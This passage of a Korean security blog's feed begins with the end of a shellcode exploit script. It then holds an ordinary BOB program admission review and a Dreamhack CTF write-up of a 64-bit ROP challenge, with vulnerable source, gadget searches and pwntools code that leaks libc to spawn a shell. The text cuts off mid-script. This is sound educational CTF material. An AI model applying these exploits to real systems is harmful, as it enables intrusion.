</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Buffer to environ addr offset : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">bufToenvOffset</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">bufToenvOffset</span><span class="o">+</span><span class="nb">len</span><span class="p">(</span><span class="n">shell</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x90</span><span class="s2">&#34;</span><span class="o">*</span><span class="n">bufToenvOffset</span><span class="o">+</span><span class="n">shell</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;*jmp=&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">envAddr</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>위 코드를 통해 익스플로잇이 가능하다.</p>
]]></content:encoded></item><item><title>BOB 11기 합격 후기</title><link>https://dig06161.github.io/2022/06/26/BOB-start/</link><pubDate>Sun, 26 Jun 2022 17:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/06/26/BOB-start/</guid><description>&lt;p>지난 22년 6월 22일 17시에 BOB 11기 최종 합격자가 발표났습니다.
지난 7기 도전에 실패하고 이후 군 전역 후 11기에 지원하게 됐는데 합격한 후기를 남겨볼까 합니다. 일단 10기와 달라진 점은 기존 4가지 취약점분석, 디지털포렌식, 보안컨설팅, 보안개발 트랙을 각각 선발했는데, 이번 11기는 통합 선발 후 내부 교육평가를 통해서 트랙을 선발한다고 합니다.&lt;/p>
&lt;p>우선 BOB 공식 페이지의 11기 모집요강입니다.&lt;/p>
&lt;p>&lt;a href="https://www.kitribob.kr/board/detail/1/6943?current_page=1&amp;amp;per_page=15">https://www.kitribob.kr/board/detail/1/6943?current_page=1&amp;amp;per_page=15&lt;/a>&lt;/p>
&lt;center>&lt;img src="https://dig06161.github.io/img/BOB-start/BOB모집요강.png" width="80%" height="80%">&lt;/center>
&lt;h2 id="서류평가">&lt;strong>서류평가&lt;/strong>&lt;/h2>
&lt;p>BOB는 1단계 서류평가 이후 2배수 합격자 대상으로 인적성 검사, 필기평가, 면접평가를 진행하게 됩니다. 1단계 서류평가에서는 다음과 같은 항목을 평가합니다.&lt;/p></description><content:encoded><![CDATA[<p>지난 22년 6월 22일 17시에 BOB 11기 최종 합격자가 발표났습니다.
지난 7기 도전에 실패하고 이후 군 전역 후 11기에 지원하게 됐는데 합격한 후기를 남겨볼까 합니다. 일단 10기와 달라진 점은 기존 4가지 취약점분석, 디지털포렌식, 보안컨설팅, 보안개발 트랙을 각각 선발했는데, 이번 11기는 통합 선발 후 내부 교육평가를 통해서 트랙을 선발한다고 합니다.</p>
<p>우선 BOB 공식 페이지의 11기 모집요강입니다.</p>
<p><a href="https://www.kitribob.kr/board/detail/1/6943?current_page=1&amp;per_page=15">https://www.kitribob.kr/board/detail/1/6943?current_page=1&amp;per_page=15</a></p>
<center><img src="/img/BOB-start/BOB모집요강.png" width="80%" height="80%"></center>
<h2 id="서류평가"><strong>서류평가</strong></h2>
<p>BOB는 1단계 서류평가 이후 2배수 합격자 대상으로 인적성 검사, 필기평가, 면접평가를 진행하게 됩니다. 1단계 서류평가에서는 다음과 같은 항목을 평가합니다.</p>
<ul>
<li>자기소개서</li>
<li>추천서(선택)</li>
<li>포트폴리오(선택)</li>
<li>활동 프로젝트 내역</li>
<li>자격증 취득내역</li>
</ul>
<p>저는 기본적인 자기소개서와 학과장님의 추천서, 제가 활동한 프로젝트 내역으로 만든 포트폴리오를 만들어 제출했고 정보처리산업기사 자격증도 기입했습니다. BOB에 지원하실 분이라면 추천서는 친분이 있는 교수님을 찾아뵈어 꼭 받으시길 바라며, 개발이나 보안관련으로 진행한 프로젝트가 있으면 이 또한 포트폴리오로 만들어 제출하심이 좋겠습니다.</p>
<p>전 자기소개서를 작성할때 제가 프로젝트를 하면서 어떤걸 공부했는지, 또 어떤점에 흥미를 느껴 어떤 분야로 진출하고 싶은지를 적었습니다. 또 활동 내역에서 학과에서 진행한 ISMS 프로젝트, 개발 프로젝트 그리고 정보보호병 활동에서 어떤걸 분석했고 보안장비로 관제를 진행한 내용을 바탕으로 작성했습니다.</p>
<p>이런 활동을 중점에 둔다기 보다는 이런 활동으로 앞으로 더 발전할 수 있는 사람이라는걸 보여주는 방향에 중점을 두었고 분대장을 하면서 다른 사람들간의 화합도 같이 작성했습니다.</p>
<p>다른 분들 말씀을 좀 들어보니 1000자씩 7개 항목을 꽉 채워서 적기보다는 내가 활동하면서 어떤점을 느끼고 어떤 방향으로 나아가고 싶은지 진솔하게 적는게 중요한것 같았습니다.</p>
<h3 style="color:red">모두 아시겠지만 자기가 직접 참여하고 공부한 내용을 적어야 합니다. 안그러면 1차에 합격해도 2차 면접에서 영혼까지 털릴겁니다. </h3>
<p>전 자기소개서를 작성하면서 면접 준비를 동시에 진행하는걸 추천드립니다. 결국 면접의 질문은 자기소개서와 포트폴리오, 자기가 활동한 프로젝트 위주로 나오기 때문이죠.</p>
<p><br><br></p>
<h2 id="2차-평가인적성-필기-면접"><strong>2차 평가(인적성, 필기, 면접)</strong></h2>
<p>이렇게 1차 서류에 합격하셨다면 2대1 경쟁률만 뚫으시면 BOB에 합격할 수 있습니다.</p>
<p>서류에 합격하면 면접을 보기에 앞서서 인적성 검사와 필기시험을 응시해야 합니다. 인적성 검사는 말 그대로 직업의 적합도, 사람의 성향을 수치적으로 판단하기 위해서 하는것 같습니다. 필기시험은 개인적인 생각으로 정보보안기사보다 조금 더 쉽게 나온것 같습니다. 다만 제가 포렌식 쪽 공부를 거의 안하다 보니 포렌식 분야의 문제는 조금 어려웠습니다. 50분 시험시간에 100문제가 나오다 보니, 난이도가 그리 높게 나오진 않은것 같습니다.</p>
<p>우선 1차 합격하고 필기 공부는 가볍에 아는 내용을 다시 상기시키는 정도로 하고 면접에 집중하는 방향으로 진행했습니다.</p>
<p>면접 내용은 정확하게 말씀 드리기 어려우나, 압박면접 + 꼬리질문이 많았습니다. 면접관 3명, 지원자 3명으로 30분동안 면접을 진행했습니다. 3분정도의 자기소개를 진행하고 제가 자기소개서에서 작성한 내용을 바탕으로 질문을 해주셨습니다. 면접을 준비하실때 어떤 분야나 예상 질문에 대해서 3개 정도의 꼬리질문을 예상하고 준비한게 많은 도움이 되었습니다.</p>
<ul>
<li>~라는걸 하고 싶다고 했는데 정확하게 어떤걸 하고싶은지?</li>
<li>그럼 그 분야에 대해 어떤 부분을 하고 싶은지?</li>
<li>이런 기법을 공부했다고 했는데 이를 막을수 있는 방법과 그 방법을 우회할 방법은?</li>
<li>이러이러한 것을 진행했다고 하는데 그 걸 진행하면서 이런 지식도 필요한데 ~가 무엇인지?</li>
</ul>
<p>위 같은 유형의 느낌이라고 보시면 될것 같습니다.</p>
<p>모르는 부분은 솔직하게 모른다고 대답하고 꼭 학습하고 싶다는 의지를 보여주는 것도 중요한것 같습니다.</p>
<p>그리고 생각보다 면접시간이 짧아서 핵심만 간결하고 정확하게 말하는 것도 중요한것 같습니다.
위에 적은것 처럼, 면접 질문이 자기소개서를 기반으로 나오기 때문에 자기소개서에 기술한 내용은 전부 숙지 하셔야 하고 그 자기소개서를 기반으로 예상할수 있는 모든 꼬리 질문의 꼬리 질문까지 알아두시면 좋을 것 같습니다.</p>
<p>면접에서 가장 중요한건 자신이 준비한 내용을 면접관이 질문하게 끔 유도하는 것이 포인트라고 생각합니다.</p>
<br>
<h2 id="마무리"><strong>마무리</strong></h2>
<p>이렇게 준비해서 면접을 봤는데 솔직히 기대를 안했습니다. 긴장을 너무 많이해서 잠을 아에 못자고 면접을 보기위해 대전에서 서울까지 갔고, 면접을 보면서 너무 떨어서 말을 더듬었기 때문입니다. BOB에서 뽑히는 유형은 보통 매우 특출나게 잘하거나, 교육을 받았을때 기대할 수 있는 결과와 성과가 좋은 느낌을 주었는지 인것 같습니다.</p>
<p>휴학하고 알바하면서 3달 가량 준비한 것 같습니다. 글을 쓰는 지금 BOB 워크샵을 다녀왔습니다. 다른 분들도 이후 12기를 지원하셨을 때 이 글이 많은 도움이 되었으면 좋겠네요.</p>
<p>1차 기본 교육과 심화교육의 강도가 매우 빡세다는데 벌써 무섭습니다. 그래도 최대한 몸이 버틸수 있을때 까지 해봐야겠네요.</p>
<center><img src="/img/BOB-start/BOB 센터 뷰.jpg" width="80%" height="80%"></center>
이 사진은 면접 대기하면서 BOB센터에서 찍은 사진...
<p>교육 진행하고 프로젝트 하면서 센터에서 노숙하는 사람도 많다는데 무섭기도 하고 기대도 되네요.</p>
]]></content:encoded></item><item><title>Dreamhack 시스템 해킹 basic_rop_x64</title><link>https://dig06161.github.io/2022/05/21/dreamhack-basic-rop-x64/</link><pubDate>Sat, 21 May 2022 21:00:00 +0900</pubDate><guid>https://dig06161.github.io/2022/05/21/dreamhack-basic-rop-x64/</guid><description>&lt;p>이번에 풀어볼 문제는 기존의 32비트 환경 pwn이 아니라 64비트 환경 pwn이다. 기본적으로 32비트와 64비트는 함수 호출 규약에 다른점이 있다. 기존 32비트 환경에서는 함수 실행에 필요한 인자들을 스택에 저장해 하나씩 불러와 사용한다면 64비트 환경은 레지스터에 먼저 저장한 후 레지스터보다 많은 인자가 필요하면 스택을 이용한다.&lt;/p>
&lt;p>이러한 차이점으로 32비트 환경에서는 버퍼 오버플로우 등으로 덮어 씌우기만 하면 성공했던 시스템 해킹이 64비트로 오면서 gadget(가젯)을 이용해 함수 실행에 필요한 인자를 넣어줘야 한다&lt;/p>
&lt;p>이번 문제는 ROP(Return-oriented programming)에 관한 문제이며 이 ROP 기법은 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술이다.&lt;/p></description><content:encoded><![CDATA[<p>이번에 풀어볼 문제는 기존의 32비트 환경 pwn이 아니라 64비트 환경 pwn이다. 기본적으로 32비트와 64비트는 함수 호출 규약에 다른점이 있다. 기존 32비트 환경에서는 함수 실행에 필요한 인자들을 스택에 저장해 하나씩 불러와 사용한다면 64비트 환경은 레지스터에 먼저 저장한 후 레지스터보다 많은 인자가 필요하면 스택을 이용한다.</p>
<p>이러한 차이점으로 32비트 환경에서는 버퍼 오버플로우 등으로 덮어 씌우기만 하면 성공했던 시스템 해킹이 64비트로 오면서 gadget(가젯)을 이용해 함수 실행에 필요한 인자를 넣어줘야 한다</p>
<p>이번 문제는 ROP(Return-oriented programming)에 관한 문제이며 이 ROP 기법은 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술이다.</p>
<p>우선 위에서 함수에 사용될 인자를 레지스터에 저장하기 위해 가젯이 필요하다고 했다. 가젯을 설명하기 전에 인자에 저장에 사용되는 레지스터 순서를 먼저 살펴보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">+----------------------------------------------+
</span></span><span class="line"><span class="cl">|   인텔 리눅스 64bit    |      윈도우 64bit     |
</span></span><span class="line"><span class="cl">|                       |                       |
</span></span><span class="line"><span class="cl">|        RDI            |           RCX         |
</span></span><span class="line"><span class="cl">|        RSI            |           RDX         |
</span></span><span class="line"><span class="cl">|        RDX            |           R8          |
</span></span><span class="line"><span class="cl">|        RCX            |           R9          |
</span></span><span class="line"><span class="cl">|        R8             |                       | 
</span></span><span class="line"><span class="cl">|        R9             |                       |
</span></span><span class="line"><span class="cl">+----------------------------------------------+
</span></span></code></pre></div><p>위 순서대로 레지스터에 값을 저장하며 이에 필요한 명령어 집합을 가젯이라 한다.</p>
<p>예를 들어 puts 함수는 인자를 1개 가지며 RDI에 인자를 넣아야 한다. 이에 사용되는 가젯은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pop rdi ; ret
</span></span></code></pre></div><p>위 가젯을 이용해 RSP의 값을 POP해 RDI로 넣어주는 과정이다.</p>
<p>이제 문제로 돌아가 문제 코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x40</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>위와 같은 구조를 가지고 있으며, 0x40 크기의 버퍼에 0x400의 값을 쓸 수 있어 버퍼 오버플로우를 통한 ROP가 가능하다.</p>
<p>우선 gdb의 info function을 통해 내장되어 있는 함수를 보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span> <span class="n">info</span> <span class="n">function</span>
</span></span><span class="line"><span class="cl"><span class="n">All</span> <span class="n">defined</span> <span class="nl">functions</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Non</span><span class="o">-</span><span class="n">debugging</span> <span class="nl">symbols</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400590</span>  <span class="n">_init</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004005c0</span>  <span class="n">puts</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004005d0</span>  <span class="n">write</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004005e0</span>  <span class="n">alarm</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004005f0</span>  <span class="n">read</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400600</span>  <span class="n">__libc_start_main</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400610</span>  <span class="n">signal</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400620</span>  <span class="n">setvbuf</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400630</span>  <span class="n">exit</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400640</span>  <span class="n">__gmon_start__</span><span class="err">@</span><span class="n">plt</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400650</span>  <span class="n">_start</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400680</span>  <span class="n">deregister_tm_clones</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004006c0</span>  <span class="n">register_tm_clones</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400700</span>  <span class="n">__do_global_dtors_aux</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400720</span>  <span class="n">frame_dummy</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400746</span>  <span class="n">alarm_handler</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x000000000040075e</span>  <span class="n">initialize</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x00000000004007ba</span>  <span class="n">main</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400820</span>  <span class="n">__libc_csu_init</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400890</span>  <span class="n">__libc_csu_fini</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400894</span>  <span class="n">_fini</span>
</span></span></code></pre></div><p>write는 인자를 3개 필요로 해 데이터를 출력하는데 puts 함수를 사용할 것이다.</p>
<p>이제 함수를 사용하기 위한 가젯을 찾아야 하는데</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ROPgadget --binary basic_rop_x64 | grep rdi 
</span></span></code></pre></div><p>명령어로 가능하다. 결과는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">/</span><span class="n">file</span><span class="err">#</span> <span class="n">ROPgadget</span> <span class="o">--</span><span class="n">binary</span> <span class="n">basic_rop_x64</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">rdi</span> 
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400726</span> <span class="o">:</span> <span class="n">cmp</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rdi</span><span class="p">],</span> <span class="mi">0</span> <span class="p">;</span> <span class="n">jne</span> <span class="mh">0x400730</span> <span class="p">;</span> <span class="n">jmp</span> <span class="mh">0x4006c0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400725</span> <span class="o">:</span> <span class="n">cmp</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rdi</span><span class="p">],</span> <span class="mi">0</span> <span class="p">;</span> <span class="n">jne</span> <span class="mh">0x400730</span> <span class="p">;</span> <span class="n">jmp</span> <span class="mh">0x4006c0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x0000000000400883</span> <span class="o">:</span> <span class="n">pop</span> <span class="n">rdi</span> <span class="p">;</span> <span class="n">ret</span>
</span></span></code></pre></div><p>우리가 필요로 하는 가젯의 주소는 0x0000000000400883이다.</p>
<p>이제 어떤식으로 익스를 작성할지 고민해보자.
pop명령어는 RSP의 주소에 들어있는 값을 RDI로 불러온다. gdb를 통해 확인해보면, read함수를 실행하는 중 RSP의 값은 ret+8의 주소를 가리키고 있다.</p>
<p>따라서 ret에 가젯 주소를, 그 다음으로 계속 변하는 libcbase의 주소를 구하기 위해 read함수의 got를 출력하기 위해 disas main을 통해 찾은 read@got 값을 넣어준다.</p>
<p>그 다음으로 puts을 실행하기 위해 puts@plt 값을 주어 인자로 준 read@got의 실제 주소를 puts함수를 통해 출력한다. 이후 main함수 주소를 추가해 익스플로잇 작성을 위해 main으로 다시 돌아온다.</p>
<p>스택 구조로 보면 다음과 같다. 스택은 위에서 아래가 아닌 아래 베이스 포인터에서 위로 쌓이는걸 고려해 보아야 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">puts@plt
</span></span><span class="line"><span class="cl">read@got
</span></span><span class="line"><span class="cl">gadget
</span></span><span class="line"><span class="cl">sfp[8바이트] -&gt; 임의 값
</span></span><span class="line"><span class="cl">&#39;입력 값&#39;
</span></span></code></pre></div><p>따라서 임의 값으로 0x40 + 0x8(64비트 환경은 ret과 sfp 길이가 8바이트)만큼 sfp영역까지 덮어 씌운다. 다음 가젯 주소를 추가하고 read@got와 puts@plt를 추가한다</p>
<p>여기까지 파이썬 코드로 표현하면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host1.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">13516</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc.so.6&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">rdi_ret</span> <span class="o">=</span> <span class="mh">0x400883</span>  <span class="c1">#가젯 주소</span>
</span></span><span class="line"><span class="cl"><span class="n">read_got</span> <span class="o">=</span> <span class="mh">0x601030</span>
</span></span><span class="line"><span class="cl"><span class="n">puts_plt</span> <span class="o">=</span> <span class="mh">0x4005c0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">func_main</span> <span class="o">=</span> <span class="mh">0x4007ba</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi_ret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">func_main</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mh">0x40</span><span class="p">))</span>
</span></span></code></pre></div><p>위 코드를 실행하면 puts을 통해 read@got가 출력된 후 다시 main 함수로 돌아온다. 이제 출력된 read@got의 실제 메모리상 주소를 통해 libcbase를 구해보자. read 함수 부분은 다시 공격할 것이다.</p>
<p>문제를 보면 libc.so.6 파일을 같이 첨부해준다.</p>
<p>이를 통해 read@got의 상대주소를 알아내고 출력된 read@got의 실제주소 - 상대주소 를 통해 libc 베이스 주소를 구한다.</p>
<p>다음으로 system 함수를 사용해 /bin/sh를 실행하기 위해 libc에서 system 함수의 상대주소를 구하고 libcbase와 더해 실행중인 프로그램의 메모리 상 system 함수 주소를 구한다.</p>
<p>이후 libc에서 /bin/sh의 문자열 주소를 찾는다.</p>
<p>다음 처음과 마찬가지로 가젯을 통해 systme 함수의 인자로 사용될 /bin/sh의 주소와 system 함수의 주소를 넣어 쉘을 익스 한다.</p>
<p>이 과정을 파이썬 코드로 나타내면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host1.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">13516</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc.so.6&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">rdi_ret</span> <span class="o">=</span> <span class="mh">0x400883</span>
</span></span><span class="line"><span class="cl"><span class="n">read_got</span> <span class="o">=</span> <span class="mh">0x601030</span>
</span></span><span class="line"><span class="cl"><span class="n">puts_plt</span> <span class="o">=</span> <span class="mh">0x4005c0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">func_main</span> <span class="o">=</span> <span class="mh">0x4007ba</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi_ret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">func_main</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mh">0x40</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
